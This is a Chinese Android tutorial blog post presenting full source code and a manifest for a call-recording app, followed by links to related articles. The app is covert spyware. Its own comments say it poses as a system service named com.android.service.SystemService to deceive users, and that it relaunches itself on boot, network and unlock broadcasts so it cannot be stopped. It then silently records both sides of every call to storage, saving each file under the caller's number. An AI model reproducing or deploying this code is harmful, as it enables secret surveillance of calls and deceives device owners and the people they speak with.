服务 通话录音 TelephonyManager
MainActivity
public class MainActivity extends ListActivity {private BatteryChangedReceiver receiver;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);List<String> mData = new ArrayList<String>(Arrays.asList("开启服务", "停止服务", "判断服务是否正在运行", "动态注册电量变化的广播接收者", "取消注册"));ListAdapter mAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, mData);setListAdapter(mAdapter);receiver = new BatteryChangedReceiver();}@Overrideprotected void onListItemClick(ListView l, View v, int position, long id) {switch (position) {case 0:startService(new Intent(this, SystemService.class));break;case 1:stopService(new Intent(this, SystemService.class));break;case 2:Toast.makeText(this, "服务是否在运行:" + isServiceWorked(this, "com.android.service.SystemService"), Toast.LENGTH_SHORT).show();break;case 3://电池的状态改变广播ACTION_BATTERY_CHANGED只有通过动态方式注册后才能获得。sticky:粘性的; 热湿的,闷热的; 极不愉快的; 不动的;IntentFilter filter = new IntentFilter();filter.addAction(Intent.ACTION_BATTERY_CHANGED);//This is a sticky broadcast containing the charging state, level, and other information about the battery.filter.addAction(Intent.ACTION_BATTERY_LOW);//Indicates low battery condition on the device. This broadcast corresponds to the "Low battery warning" system dialog.filter.addAction(Intent.ACTION_BATTERY_OKAY);//This will be sent after ACTION_BATTERY_LOW once the battery has gone back up to an okay state.registerReceiver(receiver, filter);break;case 4:unregisterReceiver(receiver);receiver = null;break;}}public static boolean isServiceWorked(Context context, String serviceName) {ActivityManager myManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);ArrayList<RunningServiceInfo> runningService = (ArrayList<RunningServiceInfo>) myManager.getRunningServices(Integer.MAX_VALUE);for (int i = 0; i < runningService.size(); i++) {if (runningService.get(i).service.getClassName().toString().equals(serviceName)) {return true;}}return false;}}
SuperReceiver
/** 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事*/public class SuperReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {context.startService(new Intent(context, SystemService.class));Log.i("bqt", intent.getAction());}}
电量改变的Receiver
public class BatteryChangedReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {String action = intent.getAction();if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_CHANGED)) {//"android.intent.action.BATTERY_CHANGED"Log.i("battery", "==============电池电量改变:BATTERY_CHANGED_ACTION");Log.i("battery", "当前电压=" + intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1));Log.i("battery", "健康状态=" + intent.getIntExtra(BatteryManager.EXTRA_HEALTH, -1));//如BATTERY_HEALTH_COLDLog.i("battery", "电量最大值=" + intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1));Log.i("battery", "当前电量=" + intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1));Log.i("battery", "充电电源类型=" + intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1));Log.i("battery", "充电状态=" + intent.getIntExtra(BatteryManager.EXTRA_STATUS, -1));//如BATTERY_STATUS_CHARGING 正在充电Log.i("battery", "电池类型=" + intent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY));//比如,对于锂电池是Li-ionLog.i("battery", "电池温度=" + intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1));} else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_LOW)) {// "android.intent.action.BATTERY_LOW"Log.i("battery", "电池电量低:ACTION_BATTERY_LOW");} else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_OKAY)) {// "android.intent.action.BATTERY_OKAY"Log.i("battery", "电池已经从电量低恢复为正常:ACTION_BATTERY_OKAY");}}}
Service
/**为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。* 为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务呢! */public class SystemService extends Service {private PhoneStateListener listener;@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onCreate() {listener = new MyPhoneStateListener();((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_CALL_STATE);Log.i("bqt", "++++++onCreate-1");super.onCreate();}@Overridepublic int onStartCommand(Intent intent, int flags, int startId) {Log.i("bqt", "++++++onStartCommand-1");return START_STICKY;//当service因内存不足被kill,当内存又有的时候,service又被重新创建/**1、START_STICKY:进程被kill后,将保留在开始状态,但是不保留那些传入的intent。不久后service就会再次尝试重新创建,因为保留在开始状态,在创建service后将保证调用onstartCommand。如果没有传递任何开始命令给service,那将获取到null的intent。2、START_NOT_STICKY:进程被kill后,并且没有新的intent传递给它,Service将移出开始状态,并且直到有新的startService调用才重新创建。因为如果没有传递任何未决定的intent那么service是不会启动,也就是期间onstartCommand不会接收到任何null的intent。3、START_REDELIVER_INTENT:进程被kill后,系统会再次启动service,并传入最后一个intent给onstartCommand.直到调用stopSelf才停止传递intent。如果在被kill后还有未处理好的intent,那被kill后服务还是会自动启动。因此onstartCommand不会接收到任何null的intent。*/}@Overridepublic void onDestroy() { //在onDestroy中再启动本服务(张泽华老师说不可以启动自己,实测是可以的!),但是用户杀进程时不会调用onDestroy方法。//startService(new Intent(this, SystemService.class));// 取消电话的监听((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_NONE);listener = null;Log.i("bqt", "++++++onDestroy-1");super.onDestroy();}}
电话状态监听
public class MyPhoneStateListener extends PhoneStateListener {private String phoneNumber; // 来电号码public static final String filePath = Environment.getExternalStorageDirectory().getPath() + "/bqt_callRecords";private File directory, file;private MediaRecorder mediaRecorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);try {switch (state) {case TelephonyManager.CALL_STATE_RINGING://响铃状态phoneNumber = incomingNumber;//只有这里能拿到来电号码,在CALL_STATE_OFFHOOK状态是拿不到来电号码的break;case TelephonyManager.CALL_STATE_OFFHOOK://通话状态mediaRecorder = new MediaRecorder();if (this.phoneNumber == null) this.phoneNumber = "null_";directory = new File(filePath);if (!directory.exists()) directory.mkdir();file = new File(filePath + File.separator + phoneNumber + new SimpleDateFormat("yyyyMMdd_HHmmss'.amr'", Locale.getDefault()).format(new Date()));if (!file.exists()) file.createNewFile();mediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);//指定录音机的声音源//MIC只获取自己说话的声音;VOICE_CALL双方的声音都可以录取,但是由于外国法律的限制,某些大牌手机不支持此参数mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//设置录制文件的输出格式,如AMR-NB,MPEG-4等mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//设置音频的编码,如AAC,AMR-NB等mediaRecorder.setOutputFile(file.getAbsolutePath());//存储路径mediaRecorder.prepare();//准备,一定要放在设置后、开始前,否则会产生异常mediaRecorder.start();Log.i("bqt", "开始录音!");break;case TelephonyManager.CALL_STATE_IDLE://空闲状态if (mediaRecorder != null) {//释放资源mediaRecorder.stop();//mediaRecorder.reset(); //重设mediaRecorder.release();mediaRecorder = null;}Log.i("bqt", "结束录音!");break;}} catch (Exception e) {}}}
清单文件
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.android.service"android:versionCode="1"android:versionName="1.0" ><uses-sdkandroid:minSdkVersion="8"android:targetSdkVersion="17" /><!-- 访问电话状态 --><uses-permission android:name="android.permission.READ_PHONE_STATE" /><!-- 允许程序监视、修改或放弃拨打电话 --><uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /><!-- 挂载、反挂载外部文件系统 --><uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /><!-- 录音权限 --><uses-permission android:name="android.permission.RECORD_AUDIO" /><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /><applicationandroid:allowBackup="true"android:icon="@drawable/ic_launcher"android:label="@string/app_name"android:theme="@style/AppTheme" ><activityandroid:name=".MainActivity"android:label="@string/app_name" ><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity><receiver android:name=".SuperReceiver" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" /><action android:name="android.net.conn.CONNECTIVITY_CHANGE" /><action android:name="android.net.wifi.WIFI_STATE_CHANGED" /><!-- 唤醒机器、解锁时发出,屏幕SCREEN_ON和SCREEN_OFF的广播只能通过代码动态的形式注册 --><action android:name="android.intent.action.USER_PRESENT" /></intent-filter></receiver><serviceandroid:name=".SystemService"android:process=":process1" /></application></manifest>
附件列表
服务 通话录音 TelephonyManager的更多相关文章
- android中通话录音
file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMil ...
- 服务 Service 简单案例 MD
Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...
- Android实训案例(七)——四大组件之一Service初步了解,实现通话录音功能,抽调接口
Service Service的神奇之处,在于他不需要界面,一切的操作都在后台操作,所以很多全局性(手机助手,语音助手)之类的应用很长需要这个,我们今天也来玩玩 我们新建一个工程--ServiceDe ...
- Android四大组件应用系列——实现电话拦截和电话录音
一.问题描述 使用BordercastReceiver和Service组件实现下述功能: 1.当手机处于来电状态,启动监听服务,对来电进行监听录音. 2.设置电话黑名单,当来电是黑名单电话,则直接挂断 ...
- Android实训案例(七)——四大组件之中的一个Service初步了解,实现通话录音功能,抽调接口
Service Service的奇妙之处.在于他不须要界面,一切的操作都在后台操作,所以非常多全局性(手机助手,语音助手)之类的应用非常长须要这个.我们今天也来玩玩 我们新建一个project--Se ...
- Android简易实战教程--第三十六话《电话录音》
今天完成一个简单的电话录音功能,即接通电话后,立即录下自己打电话的声音.实现起来比较简单:一个服务,一个TelephonyManager.一个MediaRecorder就够了. 1.布局提供一个开启录 ...
- 三星N900(note3)刷机包 颓废N0.8.1 修复已知BUG 集成谷歌服务
ROM介绍 8.1更新信息:攻克了来电后点击HOME出现SECPHONE已经停止的问题 去掉了桌面隐藏信息的选项,官方最新底包暂不支持这功能 增加了网友们须要验证的谷歌服务(不须要的同学同步什么的都关 ...
- 【Android】【录音】Android录音--AudioRecord、MediaRecorder
[Android][录音]Android录音--AudioRecord.MediaRecorder Android提供了两个API用于实现录音功能:android.media.AudioRecord. ...
- Android录音--AudioRecord、MediaRecorder
Android提供了两个API用于实现录音功能:android.media.AudioRecord.android.media.MediaRecorder. 网上有很多谈论这两个类的资料.现在大致总结 ...
随机推荐
- PHP Math
PHP Math 简介 Math 函数能处理 integer 和 float 范围内的值. 安装 PHP Math 函数是 PHP 核心的组成部分.无需安装即可使用这些函数. PHP 5 Math 函 ...
- Thinkphp 数据的修改及删除操作
一.数据修改操作 save() 实现数据修改,返回受影响的记录条数 具体有两种方式实现数据修改,与添加类似(数组.AR方式) 1.数组方式: a) $goods = D(“Goods ...
- JavaScript 阻止事件冒泡的实现方法
JavaScript 阻止事件冒泡,无使用其它插件来辅助,原生JS代码,考虑到浏览器的兼容性问题,这里对IE/火狐.Operating以及Chrome都有针对性的判断,代码如下: function c ...
- Cocos2d-x 使用物理引擎进行碰撞检测
[转自]: http://blog.csdn.net/cbbbc/article/details/38541099 通常在游戏简单逻辑判断和模拟真实的物理世界时,我们只需要在定时器中判断游戏中各个精灵 ...
- UCOS 请求任务删除函数 及其应用
有时候,如果任务A拥有内存缓冲区或信号量之类的资源,而任务B想删除该任务,这些资源就可能由于没被释放而丢失.在这种情况下,用户可以想法子让拥有这些资源的任务在使用完资源后,先释放资源,再删除自己.用户 ...
- iOS开发——C篇&函数解析
关于函数,作为一个开发者事必须掌握的知识不管你在那一个领域,所以今天我就来说一说函数. 一:函数的介绍 关于函数,其实笔者在前面都已经演示不少了,其中用的最多的就是main函数,虽然直接说函数可能不太 ...
- Swift—扩展声明-备
声明扩展的语法格式如下: extension 类型名 { //添加新功能 } 声明扩展的关键字是extension,“类型名”是Swift中已有的类型,包括类.结构体和枚举,但是我们仍然可以扩展整型. ...
- Swift—final关键字-b
在类的定义中使用final关键字声明类.属性.方法和下标.final声明的类不能被继承,final声明的属性.方法和下标不能被重写. 下面看一个示例: final class Person { //声 ...
- 发现一个时隐时现的bug!
在awk里可以这样使用正则: #截取 a.cn?fr= 中的1211 -]+/) > ) { fr = substr(url,RSTRART + , RLENGTH - ) } #截取 a.cn ...
- 51单片机I/O口使用经验
按常规,在51端口(P1.P2.P3)某位用作输入时,必须先向对应的锁存器写入1,使FET截止.一般情况是这样,也有例外.所谓IO口内部与电源相连的上拉电阻而非一常规线性电阻,实质上,该电阻是由两个场 ...
